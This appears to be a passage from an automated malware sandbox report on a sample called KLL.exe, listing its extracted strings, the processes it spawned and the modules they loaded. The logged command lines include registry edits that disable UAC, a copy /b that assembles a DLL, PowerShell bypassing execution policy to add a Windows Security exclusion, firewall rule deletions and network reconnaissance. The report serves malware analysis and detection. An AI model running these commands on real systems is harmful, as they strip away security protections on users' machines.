crollbar-scroll-when-pointer-leaves-controlscrollview-frame-around-contentsshow-decoration-selectedspinbox-click-autorepeat-ratespincontrol-disable-on-boundstabbar-elide-modetabbar-prefer-no-arrowstitlebar-close-icontitlebar-contexthelp-icontitlebar-maximize-icontitlebar-menu-icontitlebar-minimize-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontoolbutton-popup-delaytrash-iconuparrow-icondown-arrowup-arrowleft-arrowright-arrowindicatorindicatormenu-indicator
            Source: KLL.exeString found in binary or memory: eactivate-on-singleclickalignmentarrow-keys-navigate-into-childrenbackward-iconbutton-layoutcd-iconcombobox-list-mousetrackingcombobox-popupcomputer-icondesktop-icondialog-apply-icondialog-cancel-icondialog-close-icondialog-discard-icondialog-help-icondialog-no-icondialog-ok-icondialog-open-icondialog-reset-icondialog-save-icondialog-yes-icondialogbuttonbox-buttons-have-iconsdirectory-closed-icondirectory-icondirectory-link-icondirectory-open-icondither-disable-textdockwidget-close-icondownarrow-icondvd-iconetch-disabled-textfile-iconfile-link-iconfiledialog-backward-iconfiledialog-contentsview-iconfiledialog-detailedview-iconfiledialog-end-iconfiledialog-infoview-iconfiledialog-listview-iconfiledialog-new-directory-iconfiledialog-parent-directory-iconfiledialog-start-iconfloppy-iconforward-icongridline-colorharddisk-iconhome-iconicon-sizeleftarrow-iconlineedit-password-characterlineedit-password-mask-delaymdi-fill-space-on-maximizemenu-scrollablemenubar-altkey-navigationmenubar-separatormessagebox-critical-iconmessagebox-information-iconmessagebox-question-iconmessagebox-text-interaction-flagsmessagebox-warning-iconmouse-trackingnetwork-iconopacitypaint-alternating-row-colors-for-empty-arearightarrow-iconscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controlscrollview-frame-around-contentsshow-decoration-selectedspinbox-click-autorepeat-ratespincontrol-disable-on-boundstabbar-elide-modetabbar-prefer-no-arrowstitlebar-close-icontitlebar-contexthelp-icontitlebar-maximize-icontitlebar-menu-icontitlebar-minimize-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontoolbutton-popup-delaytrash-iconuparrow-icondown-arrowup-arrowleft-arrowright-arrowindicatorindicatormenu-indicator
            Source: KLL.exeString found in binary or memory: eQToolTipclassstyle1styleDestroyed(QObject*)Could not parse application stylesheetstyleSheet* {Could not parse stylesheet of object %pQDockWidgetTitleButtonqt_dockwidget_closebuttonqt_dockwidget_floatbutton_q_stylesheet_minw_q_stylesheet_minh_q_stylesheet_maxw_q_stylesheet_maxh does not have a property named cannot design property named _q_styleSheetWidgetFont1objectDestroyed(QObject*)1update()2valueChanged(int)mNXicon-sizetitlebar-menu-icontitlebar-minimize-icontitlebar-maximize-icontitlebar-close-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontitlebar-contexthelp-icondockwidget-close-iconmessagebox-information-iconmessagebox-warning-iconmessagebox-critical-iconmessagebox-question-icondesktop-icontrash-iconcomputer-iconfloppy-iconharddisk-iconcd-icondvd-iconnetwork-icondirectory-open-icondirectory-closed-icondirectory-link-iconfile-iconfile-link-iconfiledialog-start-iconfiledialog-end-iconfiledialog-parent-directory-iconfiledialog-new-directory-iconfiledialog-detailedview-iconfiledialog-infoview-iconfiledialog-contentsview-iconfiledialog-listview-iconfiledialog-backward-icondirectory-icondialog-ok-icondialog-cancel-icondialog-help-icondialog-open-icondialog-save-icondialog-close-icondialog-apply-icondialog-reset-icondiscard-icondialog-yes-icondialog-no-iconuparrow-icondownarrow-iconleftarrow-iconrightarrow-iconbackward-iconforward-iconhome-iconlineedit-password-characterlineedit-password-mask-delaydither-disabled-textetch-disabled-textactivate-on-singleclickshow-decoration-selectedgridline-coloropacitycombobox-popupcombobox-list-mousetrackingmenubar-altkey-navigationmenu-scrollablemenubar-separatormouse-trackingspinbox-click-autorepeat-ratespincontrol-disable-on-boundsmessagebox-text-interaction-flagstoolbutton-popup-delayscrollview-frame-around-contentsscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controltabbar-elide-modetabbar-prefer-no-arrowsdialogbuttonbox-buttons-have-iconsmdi-fill-space-on-maximizearrow-keys-navigate-into-childrenpaint-alternating-row-colors-for-empty-areaqt_fontDialog_sampleEditqt_
            Source: KLL.exeString found in binary or memory: eQToolTipclassstyle1styleDestroyed(QObject*)Could not parse application stylesheetstyleSheet* {Could not parse stylesheet of object %pQDockWidgetTitleButtonqt_dockwidget_closebuttonqt_dockwidget_floatbutton_q_stylesheet_minw_q_stylesheet_minh_q_stylesheet_maxw_q_stylesheet_maxh does not have a property named cannot design property named _q_styleSheetWidgetFont1objectDestroyed(QObject*)1update()2valueChanged(int)mNXicon-sizetitlebar-menu-icontitlebar-minimize-icontitlebar-maximize-icontitlebar-close-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontitlebar-contexthelp-icondockwidget-close-iconmessagebox-information-iconmessagebox-warning-iconmessagebox-critical-iconmessagebox-question-icondesktop-icontrash-iconcomputer-iconfloppy-iconharddisk-iconcd-icondvd-iconnetwork-icondirectory-open-icondirectory-closed-icondirectory-link-iconfile-iconfile-link-iconfiledialog-start-iconfiledialog-end-iconfiledialog-parent-directory-iconfiledialog-new-directory-iconfiledialog-detailedview-iconfiledialog-infoview-iconfiledialog-contentsview-iconfiledialog-listview-iconfiledialog-backward-icondirectory-icondialog-ok-icondialog-cancel-icondialog-help-icondialog-open-icondialog-save-icondialog-close-icondialog-apply-icondialog-reset-icondiscard-icondialog-yes-icondialog-no-iconuparrow-icondownarrow-iconleftarrow-iconrightarrow-iconbackward-iconforward-iconhome-iconlineedit-password-characterlineedit-password-mask-delaydither-disabled-textetch-disabled-textactivate-on-singleclickshow-decoration-selectedgridline-coloropacitycombobox-popupcombobox-list-mousetrackingmenubar-altkey-navigationmenu-scrollablemenubar-separatormouse-trackingspinbox-click-autorepeat-ratespincontrol-disable-on-boundsmessagebox-text-interaction-flagstoolbutton-popup-delayscrollview-frame-around-contentsscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controltabbar-elide-modetabbar-prefer-no-arrowsdialogbuttonbox-buttons-have-iconsmdi-fill-space-on-maximizearrow-keys-navigate-into-childrenpaint-alternating-row-colors-for-empty-areaqt_fontDialog_sampleEditqt_
            Source: unknownProcess created: C:\Users\user\Desktop\KLL.exe "C:\Users\user\Desktop\KLL.exe"
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ipconfig.exe ipconfig /all
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\eiM61.xml
            Source: C:\Windows\System32\netsh.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\J95KX.bat"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: unknownProcess created: C:\Windows\System32\mmc.exe C:\Windows\system32\mmc.exe -Embedding
            Source: C:\Windows\System32\mmc.exeProcess created: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe "C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe"
            Source: unknownProcess created: C:\Windows\System32\mmc.exe C:\Windows\system32\mmc.exe -Embedding
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all
            Source: C:\Windows\System32\mmc.exeProcess created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
            Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\letsvpn\driver"
            Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000118"
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\LetsPRO.exe "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
            Source: C:\Program Files (x86)\letsvpn\LetsPRO.exeProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
            Source: unknownProcess created: C:\Windows\System32\wbem\WmiApSrv.exe C:\Windows\system32\wbem\WmiApSrv.exe
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
            Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ROUTE.EXE route print
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ARP.EXE arp -a
            Source: unknownProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
            Source: unknownProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /allJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\ipconfig.exe ipconfig /allJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\J95KX.bat" Jump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dllJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ipconfig.exe ipconfig /allJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /FJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /FJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /FJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess created: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe "C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe" Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /allJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets.exe
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\LetsPRO.exe "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
            Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\letsvpn\driver"
            Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000118"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
            Source: C:\Program Files (x86)\letsvpn\LetsPRO.exeProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ROUTE.EXE route print
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ARP.EXE arp -a
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: msimg32.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: oledlg.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: slc.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: pcacli.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\Windows\System32\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\System32\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\System32\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\ipconfig.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: ifmon.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: mprapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: rasmontr.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: mfc42u.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: authfwcfg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: fwpolicyiomgr.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: firewallapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: fwbase.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: dhcpcmonitor.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: dot3cfg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: dot3api.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: onex.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: eappcfg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: eappprxy.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: fwcfg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: hnetmon.dllJump to behavior
